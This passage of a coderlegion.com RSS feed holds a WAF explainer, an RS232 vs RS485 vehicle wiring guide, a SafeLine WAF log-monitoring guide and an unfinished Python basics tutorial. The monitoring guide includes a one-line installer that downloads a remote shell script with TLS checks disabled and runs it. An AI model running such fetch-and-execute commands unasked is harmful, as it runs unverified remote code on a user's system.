&lt;li&gt;&lt;strong&gt;Network firewall:&lt;/strong&gt; controls who can connect (IPs and ports).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IPS:&lt;/strong&gt; blocks known network intrusions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WAF:&lt;/strong&gt; understands HTTP and blocks application-layer attacks. They're complementary, not interchangeable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;faq&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;do-i-need-a-waf-if-i-use-a-cdn-&quot;&gt;Do I need a WAF if I use a CDN?&lt;/h4&gt;
&lt;p&gt;Many CDNs include a basic WAF, but a dedicated WAF gives finer control over application-layer rules. SafeLine focuses purely on that layer.&lt;/p&gt;
&lt;h4 id=&quot;will-a-waf-slow-my-site-down-&quot;&gt;Will a WAF slow my site down?&lt;/h4&gt;
&lt;p&gt;A well-tuned WAF adds minimal latency. SafeLine's free tier handles 800 QPS per instance.&lt;/p&gt;
&lt;h4 id=&quot;is-a-waf-enough-on-its-own-&quot;&gt;Is a WAF enough on its own?&lt;/h4&gt;
&lt;p&gt;It covers the application layer. Pair it with good patching, rate limiting, and (if needed) a CDN for fuller coverage.&lt;/p&gt;
&lt;h4 id=&quot;can-i-self-host-a-waf-for-free-&quot;&gt;Can I self-host a WAF for free?&lt;/h4&gt;
&lt;p&gt;Yes. SafeLine's Community Edition is free for up to 10 apps at 800 QPS and runs on a server you already have.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Ready to protect your sites without paying for a cloud WAF?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30547/what-is-a-waf-and-how-does-it-work-a-plain-english-guide</guid>
<pubDate>Sat, 10 Oct 2026 20:30:37 +0000</pubDate>
</item>
<item>
<title>RS232 vs RS485 in a Vehicle: Which Serial Port for Which Peripheral</title>
<link>https://coderlegion.com/30356/rs232-vs-rs485-in-a-vehicle-which-serial-port-for-which-peripheral</link>
<description>&lt;p&gt;RS232 and RS485 both turn up on the same vehicle-terminal spec sheet, and integrators routinely wire the wrong one. The choice is not about speed or age. It comes down to two questions: how many devices are on the line, and how far does the cable run?&lt;/p&gt;
&lt;h3 id=&quot;the-actual-difference-single-ended-vs-differential&quot;&gt;The actual difference: single-ended vs differential&lt;/h3&gt;
&lt;p&gt;RS232 sends each signal as a voltage measured against a shared ground. That works over a short cable in a quiet electrical environment.&lt;/p&gt;
&lt;p&gt;RS485 sends over a &lt;strong&gt;twisted pair&lt;/strong&gt; and reads the &lt;em&gt;difference&lt;/em&gt; between the two wires. Interference that hits the cable hits both wires roughly equally, and cancels out when the receiver subtracts one from the other.&lt;/p&gt;
&lt;p&gt;Distance, device count and noise immunity all follow from that one design difference.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;RS232 &lt;/th&gt;&lt;th&gt;RS485&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Signalling &lt;/td&gt;&lt;td&gt;Single-ended (vs ground) &lt;/td&gt;&lt;td&gt;Differential (twisted pair)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Topology &lt;/td&gt;&lt;td&gt;Point-to-point &lt;/td&gt;&lt;td&gt;Multidrop bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Devices per port &lt;/td&gt;&lt;td&gt;1 &lt;/td&gt;&lt;td&gt;Up to 32 (more with repeaters)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Practical cable run &lt;/td&gt;&lt;td&gt;~15 m &lt;/td&gt;&lt;td&gt;~1200 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Noise immunity &lt;/td&gt;&lt;td&gt;Low &lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Termination &lt;/td&gt;&lt;td&gt;No &lt;/td&gt;&lt;td&gt;Yes, 120 ohm at both bus ends&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Addressing &lt;/td&gt;&lt;td&gt;Not needed &lt;/td&gt;&lt;td&gt;Required (each node needs an ID)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;which-one-for-which-peripheral&quot;&gt;Which one for which peripheral&lt;/h3&gt;
&lt;p&gt;Anything within arm's reach of the operator and connecting to exactly one port goes on RS232. Anything that leaves the cab, down a boom, along a trailer or across a yard, goes on RS485, even if it is the only device on that line, because the distance alone rules RS232 out.&lt;/p&gt;
&lt;h3 id=&quot;where-rs232-fails-quietly&quot;&gt;Where RS232 fails quietly&lt;/h3&gt;
&lt;p&gt;The failure that catches people out is not a dead link, it is an intermittent one. An RS232 run of 20 to 30 m will often work on a bench, and work on the machine while it is parked. Then it starts dropping characters once the hydraulics engage or a motor starts nearby.&lt;/p&gt;
&lt;p&gt;Because the fault only appears under load, it usually gets blamed on software or the peripheral for weeks before anyone re-examines the cable. If a serial link is flaky on a working machine but fine in the workshop, check cable length and signalling type first.&lt;/p&gt;
&lt;h3 id=&quot;rs485-wiring-that-people-skip&quot;&gt;RS485 wiring that people skip&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Termination:&lt;/strong&gt; a 120 ohm resistor at each end of the bus, not at every node. Missing termination causes reflections that look identical to random data corruption.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Daisy-chain, not star:&lt;/strong&gt; RS485 is a linear bus. Branching it into a star causes reflections even with correct termination.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unique node addresses:&lt;/strong&gt; two devices sharing an address will both answer and corrupt each other's replies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twisted pair, not any two conductors:&lt;/strong&gt; the noise cancellation depends on both wires following the same physical path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;neither-replaces-can-bus&quot;&gt;Neither replaces CAN bus&lt;/h3&gt;
&lt;p&gt;CAN bus reads the vehicle's own network (engine data, fault codes, implement messages under J1939 or ISOBUS). Serial ports connect peripherals the vehicle maker never installed: scanners, printers, weigh scales, third-party sensors. A typical deployment uses all of them at once, which is why interface count, not just interface type, decides whether a terminal fits a job.&lt;/p&gt;
&lt;h3 id=&quot;a-real-example&quot;&gt;A real example&lt;/h3&gt;
&lt;p&gt;A contractor fitting terminals to self-propelled sprayers needed three things per machine: a cab-mounted barcode scanner for chemical batch logging, a legacy GNSS receiver, and four tank-level probes spread along a 28 m boom.&lt;/p&gt;
&lt;p&gt;The first install put everything on RS232 with extended cables. The scanner and receiver worked. The boom probes dropped readings whenever the pump ran. Rewiring the four probes as a single RS485 bus with 120 ohm termination at both ends fixed it. The scanner and receiver stayed on RS232, where their short runs were never the problem.&lt;/p&gt;
&lt;h3 id=&quot;faq-1&quot;&gt;FAQ&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Can I convert RS232 to RS485 with an adapter?&lt;/strong&gt; Yes, but each converter adds a powered component and a connection point that can fail in a vibrating vehicle. A native port avoids both.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is RS485 faster than RS232?&lt;/strong&gt; Not inherently at short distances. The real advantage is that RS485 holds its data rate over long runs where RS232 degrades.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do I need termination on a short RS485 bus?&lt;/strong&gt; Under a few metres it often works without, but termination costs nothing and removes an intermittent fault that is hard to diagnose later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How many RS485 devices can share one bus?&lt;/strong&gt; The standard allows 32 nodes. In practice, polling time becomes the limit before the electrical limit does, since the terminal queries each address in turn.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which should I specify on a new build?&lt;/strong&gt; Default to RS485 unless you have a specific reason not to. One device under 15 m can use either. More than one device, or any run past 15 m, and RS485 is the one that works reliably in a vehicle.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;I work on rugged vehicle-mount terminals at CF-Device. The full write-up, including the spec-sheet checklist, is on our site: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.cf-device.com/blog/hardware/rs232-vs-rs485-vehicle-tablet-serial-guide/&quot;&gt;RS232 vs RS485 for Rugged Vehicle Tablets&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30356/rs232-vs-rs485-in-a-vehicle-which-serial-port-for-which-peripheral</guid>
<pubDate>Fri, 09 Oct 2026 02:19:45 +0000</pubDate>
</item>
<item>
<title>How to Monitor WAF Logs and Alerts</title>
<link>https://coderlegion.com/30204/how-to-monitor-waf-logs-and-alerts</link>
<description>&lt;h2 id=&quot;how-to-monitor-waf-logs-and-alerts&quot;&gt;How to Monitor WAF Logs and Alerts&lt;/h2&gt;
&lt;p&gt;Installing a WAF is step one. Reading what it logs is step two — and the step most teams skip. A WAF you never watch is a sensor you never act on: false positives slip through to real users, new attack patterns go unnoticed, and you can't tell whether your rules are working.&lt;/p&gt;
&lt;p&gt;Here's how to build a monitoring habit around your WAF logs.&lt;/p&gt;
&lt;h3 id=&quot;what-s-actually-worth-watching&quot;&gt;What's actually worth watching&lt;/h3&gt;
&lt;p&gt;Not every log line matters. Focus on a short list:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Blocked requests over time.&lt;/strong&gt; A sudden spike usually means a scan or an active attack. A flat line at zero means your WAF might not be in the path at all (verify traffic is flowing through it).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack type breakdown.&lt;/strong&gt; Injection, XSS, path traversal, bot abuse. Knowing the mix tells you what to harden upstream.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Top source IPs.&lt;/strong&gt; Repeat offenders are prime candidates for blocking or rate limiting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;False positives.&lt;/strong&gt; Requests that were blocked but look legitimate. These are the logs that cost you real users — review them first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Traffic trends.&lt;/strong&gt; Baseline normal so anomalies stand out.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;monitoring-with-safeline&quot;&gt;Monitoring with SafeLine&lt;/h3&gt;
&lt;p&gt;SafeLine's console includes a statistics view that surfaces exactly these signals — blocked requests, attack categories, and source breakdowns — without you grepping raw logs. You can explore the layout on the public demo (no login needed): &lt;code&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A practical cadence:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily (2 min):&lt;/strong&gt; skim the last 24h of blocks, check for false positives.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly (15 min):&lt;/strong&gt; review top offenders, tune rules, allowlist any legit client that got caught.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On alert:&lt;/strong&gt; any large spike in blocks triggers a closer look.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;turning-logs-into-alerts&quot;&gt;Turning logs into alerts&lt;/h3&gt;
&lt;p&gt;Watching a dashboard only works if someone's looking. Add triggers so the dashboard comes to you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block-rate spike:&lt;/strong&gt; alert when blocks per minute exceed, say, 3× your baseline.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repeated false positives:&lt;/strong&gt; alert when the same URL/parameter is blocked repeatedly for what looks like legitimate traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New attack signature:&lt;/strong&gt; alert on an attack type you haven't seen before.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you run a SIEM, forward the WAF logs into it so WAF events correlate with everything else in your stack. Even a simple cron + email on unusual counts catches most incidents.&lt;/p&gt;
&lt;h3 id=&quot;from-watching-to-improving&quot;&gt;From watching to improving&lt;/h3&gt;
&lt;p&gt;Logs are only valuable if they change what you do. Each review cycle:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Allowlist&lt;/strong&gt; legitimate clients caught by over-broad rules.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block&lt;/strong&gt; repeat offenders surfacing in the top-IP list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Harden upstream&lt;/strong&gt; for the dominant attack type (patch the vulnerable endpoint, add input validation).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-baseline&lt;/strong&gt; so next week's &quot;normal&quot; reflects your tuning.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;faq-2&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;how-do-i-know-my-waf-is-actually-seeing-traffic-&quot;&gt;How do I know my WAF is actually seeing traffic?&lt;/h4&gt;
&lt;p&gt;Check the statistics view. If it shows zero requests over a period when your site is active, the WAF likely isn't in the request path — verify your reverse-proxy and upstream config.&lt;/p&gt;
&lt;h4 id=&quot;do-i-need-a-siem-to-monitor-a-waf-&quot;&gt;Do I need a SIEM to monitor a WAF?&lt;/h4&gt;
&lt;p&gt;No. The console's statistics view covers most needs. A SIEM helps once you want WAF events correlated with the rest of your security tooling.&lt;/p&gt;
&lt;h4 id=&quot;how-often-should-i-review-logs-&quot;&gt;How often should I review logs?&lt;/h4&gt;
&lt;p&gt;Daily for false positives, weekly for tuning, and immediately on any alert spike.&lt;/p&gt;
&lt;h4 id=&quot;what-if-i-haven-t-deployed-a-waf-yet-&quot;&gt;What if I haven't deployed a WAF yet?&lt;/h4&gt;
&lt;p&gt;Install SafeLine (free Community Edition covers up to 10 apps at 800 QPS) with one command, then start this monitoring routine from day one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Deploy, then watch. A WAF you monitor is a WAF that actually protects you.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — explore the statistics view (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30204/how-to-monitor-waf-logs-and-alerts</guid>
<pubDate>Thu, 08 Oct 2026 02:41:06 +0000</pubDate>
</item>
<item>
<title>Python Basics in the Matatu Context</title>
<link>https://coderlegion.com/29960/python-basics-in-the-matatu-context</link>
<description>&lt;p&gt;Watch a matatu conductor work for one trip and you will see a programmer at full speed. He counts heads. He knows the fare. He takes a KSh 500 note from someone who owes KSh 70 and hands back the exact change without a pause. He also decides, by feel, when the vehicle is full enough to leave.&lt;/p&gt;
&lt;p&gt;Listen to what he tracks: a number plate, a seat count, a fuel bill and a yes or no on whether the vehicle is full. That is text, a whole number, a decimal number and a true-or-false answer. Python cares about that difference, and once you see why, the basics stop looking like rules to memorise.&lt;/p&gt;
&lt;p&gt;This article covers variables, four data types (string, integer, float and boolean), input and output, and the syntax that binds them together. Every example follows one fictional conductor working for the Mwananchi Express sacco. The fares, fuel prices and plate number are invented, so change them to match real life. Each code block shows the output you will see in your terminal. &lt;/p&gt;
&lt;h3 id=&quot;variables-names-not-boxes&quot;&gt;Variables: names, not boxes&lt;/h3&gt;
&lt;p&gt;Most tutorials say a variable is a box that holds a value. The picture fails quickly, so use this one. A variable is a sticky note with a name on it. Python sticks the note onto a value. You can peel the note off and stick it on something else, and you can put two notes on one value.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;plate = &quot;KDD 482P&quot;
seats = 14
fare_kes = 100
is_full = True

print(plate, seats, fare_kes, is_full)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ python matatu.py
KDD 482P 14 100 True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;=&lt;/code&gt; sign does not mean &quot;equals&quot; the way it does in maths. It means &quot;stick this name on that value.&quot; Python works out the right side first, then attaches the name on the left.&lt;/p&gt;
&lt;p&gt;That order explains a line that would be nonsense in algebra. Say the sacco raises the fare by KSh 20:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;fare_kes = fare_kes + 20
print(fare_kes)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;120
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python takes the current value of &lt;code&gt;fare_kes&lt;/code&gt; (100), adds 20, and moves the sticky note onto the result. Nothing was changed in place. The note moved.&lt;/p&gt;
&lt;p&gt;Here is the two-notes idea at work:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;x = 14
y = x        # y sits on the same value as x
x = 13       # x moves to a new value; y stays put
print(x, y)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;13 14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Changing &lt;code&gt;x&lt;/code&gt; did not touch &lt;code&gt;y&lt;/code&gt;, because &lt;code&gt;y&lt;/code&gt; never pointed at &lt;code&gt;x&lt;/code&gt;. It pointed at the value 14.&lt;/p&gt;
&lt;h4 id=&quot;naming-rules&quot;&gt;Naming rules&lt;/h4&gt;
&lt;p&gt;A name can hold letters, digits and underscores. It cannot start with a digit, and it cannot be a word Python already uses, such as &lt;code&gt;if&lt;/code&gt; or &lt;code&gt;True&lt;/code&gt;. Names are case sensitive, so &lt;code&gt;Seats&lt;/code&gt; and &lt;code&gt;seats&lt;/code&gt; are two different notes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;Seats = 14
print(seats)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Traceback (most recent call last):
  File &quot;matatu.py&quot;, line 2, in &amp;lt;module&amp;gt;
    print(seats)
          ^^^^^
NameError: name 'seats' is not defined. Did you mean: 'Seats'?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read the error from the bottom. Python names the problem (&lt;code&gt;NameError&lt;/code&gt;), names the culprit (&lt;code&gt;seats&lt;/code&gt;), and guesses what you meant. Most Python errors help you this much once you learn to read them.&lt;/p&gt;
&lt;p&gt;The community habit is &lt;code&gt;snake_case&lt;/code&gt;: lowercase words joined by underscores. Put the unit in the name (&lt;code&gt;fare_kes&lt;/code&gt;, &lt;code&gt;fuel_litres&lt;/code&gt;) and you prevent a whole class of mistakes later. Values that should never change get capital letters, like &lt;code&gt;SEATS&lt;/code&gt;. Python will let you change them anyway. The capitals are a note to the next reader.&lt;/p&gt;
&lt;h3 id=&quot;the-four-data-types&quot;&gt;The four data types&lt;/h3&gt;
&lt;p&gt;Every value has a type, and the type decides what you can do with it. Ask Python with &lt;code&gt;type()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(type(plate))
print(type(seats))
print(type(38.5))
print(type(is_full))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;class 'str'&amp;gt;
&amp;lt;class 'int'&amp;gt;
&amp;lt;class 'float'&amp;gt;
&amp;lt;class 'bool'&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;strings-str-&quot;&gt;Strings (&lt;code&gt;str&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;A string is text inside quotes. Single or double quotes both work. Pick one style and keep it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;sacco = &quot;Mwananchi Express&quot;

print(len(sacco))
print(sacco.upper())
print(sacco + &quot; Sacco&quot;)
print(sacco[0])
print(sacco[:9])
print(&quot;Karibu! &quot; * 2)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;17
MWANANCHI EXPRESS
Mwananchi Express Sacco
M
Mwananchi
Karibu! Karibu! 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;len()&lt;/code&gt; counts characters, spaces included. The &lt;code&gt;+&lt;/code&gt; sign glues strings together. Counting starts at zero, so &lt;code&gt;sacco[0]&lt;/code&gt; is the first letter, and &lt;code&gt;sacco[:9]&lt;/code&gt; means &quot;everything before position 9.&quot; Multiplying a string by a number repeats it.&lt;/p&gt;
&lt;p&gt;Strings suit phone numbers well. A Safaricom number is text, not a number, because nobody adds two phone numbers together and the leading zero matters. Here is how to turn a local number into the international form that M-Pesa integrations expect:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;local_number = &quot;0712345678&quot;

print(&quot;+254&quot; + local_number[1:])
print(len(local_number))
print(local_number.startswith(&quot;07&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;+254712345678
10
True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The slice &lt;code&gt;[1:]&lt;/code&gt; means &quot;everything from position 1 onward,&quot; which drops the leading zero. The &lt;code&gt;startswith()&lt;/code&gt; method asks a question about the text, and the answer comes back as a boolean. We will meet booleans shortly.&lt;/p&gt;
&lt;p&gt;A string that looks like a number is still a string. &lt;code&gt;&quot;14&quot;&lt;/code&gt; and &lt;code&gt;14&lt;/code&gt; are different things, and Python refuses to mix them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(&quot;Seats: &quot; + 14)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Traceback (most recent call last):
  File &quot;matatu.py&quot;, line 1, in &amp;lt;module&amp;gt;
    print(&quot;Seats: &quot; + 14)
          ~~~~~~~~~~^~~~
TypeError: can only concatenate str (not &quot;int&quot;) to str
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You have to convert the number first. We cover that in a moment.&lt;/p&gt;
&lt;h4 id=&quot;integers-int-&quot;&gt;Integers (&lt;code&gt;int&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;An integer is a whole number. Python has three division-related operators, and beginners mix them up:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;riders = 47

print(riders // 14)
print(riders % 14)
print(2 ** 10)
print(7 / 2)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;3
5
1024
3.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;//&lt;/code&gt; operator divides and drops the remainder. A 14-seater carrying 47 riders in a day needs 3 full loads. The &lt;code&gt;%&lt;/code&gt; operator keeps only the remainder: 5 riders are left for a fourth, partly empty trip. Together they answer &quot;how many full loads, and what is left?&quot;, a question that turns up all the time. The &lt;code&gt;**&lt;/code&gt; operator raises a number to a power. The single &lt;code&gt;/&lt;/code&gt; always returns a float, even when the answer is whole:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(type(8 / 2), 8 / 2)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;class 'float'&amp;gt; 4.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;floats-float-&quot;&gt;Floats (&lt;code&gt;float&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;A float is a number with a decimal point. Fuel is measured in litres and priced to the cent, so floats fit. Mixing an integer with a float gives a float:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(3 * 1.5)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;4.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Floats have one quirk that startles everyone once:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(0.1 + 0.2)
print(round(0.1 + 0.2, 2))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0.30000000000000004
0.3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Computers store numbers in binary. One tenth has no exact binary form, just as one third has no exact decimal form, so the machine stores a very close neighbour. The error is tiny, and it appears when you print raw results. Two habits protect you. Use &lt;code&gt;round()&lt;/code&gt; or a format specifier when you display a float, and never test two floats for exact equality.&lt;/p&gt;
&lt;h4 id=&quot;booleans-bool-&quot;&gt;Booleans (&lt;code&gt;bool&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;A boolean is &lt;code&gt;True&lt;/code&gt; or &lt;code&gt;False&lt;/code&gt;, with a capital first letter. You will seldom type them yourself. Comparisons produce them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;boarded = 14
is_full = boarded &amp;gt;= seats
traffic_heavy = False

print(is_full)
print(is_full and not traffic_heavy)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;True
True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The keywords &lt;code&gt;and&lt;/code&gt;, &lt;code&gt;or&lt;/code&gt; and &lt;code&gt;not&lt;/code&gt; combine booleans. The expression &lt;code&gt;is_full and not traffic_heavy&lt;/code&gt; asks: is the vehicle full, and is the road clear? Both hold, so the answer is &lt;code&gt;True&lt;/code&gt;. Set &lt;code&gt;traffic_heavy&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt; and the answer flips to &lt;code&gt;False&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;converting-between-types&quot;&gt;Converting between types&lt;/h3&gt;
&lt;p&gt;Python will not guess when you mix types, so you convert on purpose with &lt;code&gt;int()&lt;/code&gt;, &lt;code&gt;float()&lt;/code&gt;, &lt;code&gt;str()&lt;/code&gt; and &lt;code&gt;bool()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(int(&quot;120&quot;) + 30)
print(float(&quot;38.5&quot;) * 2)
print(str(14) + &quot; seats&quot;)
print(int(9.99))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;150
77.0
14 seats
9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that &lt;code&gt;int(9.99)&lt;/code&gt; gives 9. Converting to an integer cuts off the decimals. It does not round.&lt;/p&gt;
&lt;p&gt;Converting to a boolean has a trap:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(bool(0), bool(1), bool(&quot;&quot;), bool(&quot;no&quot;))
print(bool(&quot;False&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;False True False True
True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;bool()&lt;/code&gt; asks one question: is there anything here? Zero and the empty string count as nothing, so they become &lt;code&gt;False&lt;/code&gt;. Everything else becomes &lt;code&gt;True&lt;/code&gt;, including the text &lt;code&gt;&quot;False&quot;&lt;/code&gt;, which is a non-empty string. If you read the word &quot;false&quot; from a user, compare it with the text yourself. Do not pass it to &lt;code&gt;bool()&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;input-and-output&quot;&gt;Input and output&lt;/h3&gt;
&lt;p&gt;Python talks through &lt;code&gt;print()&lt;/code&gt; and listens through &lt;code&gt;input()&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;output-with-print-&quot;&gt;Output with &lt;code&gt;print()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;print()&lt;/code&gt; takes several values and puts a space between them. Two options change that: &lt;code&gt;sep&lt;/code&gt; sets the separator, and &lt;code&gt;end&lt;/code&gt; sets what closes the line (a newline by default).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(&quot;Nairobi&quot;, &quot;Thika&quot;, &quot;Kenol&quot;, sep=&quot; &amp;gt; &quot;)
print(&quot;Counting heads...&quot;, end=&quot; &quot;)
